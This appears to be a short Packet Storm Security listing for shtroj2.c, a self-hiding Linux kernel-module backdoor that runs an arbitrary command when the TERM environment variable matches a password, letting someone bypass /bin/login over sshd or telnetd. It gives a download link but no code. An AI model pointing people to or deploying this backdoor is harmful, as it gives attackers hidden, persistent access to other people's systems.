shtroj2.c is an auto-hiding back door kernel module for linux that executes an arbitrary command when the environment variable TERM is set to a specific password on the execution of a program. Can be used to drop immediately to a functional tty-based shell instead of running /bin/login with sshd and telnetd.
You can download it from the following link: https://packetstormsecurity.com/files/download/25470/shtroj2.c
Source: https://packetstormsecurity.com/files/25470/shtroj2.c.html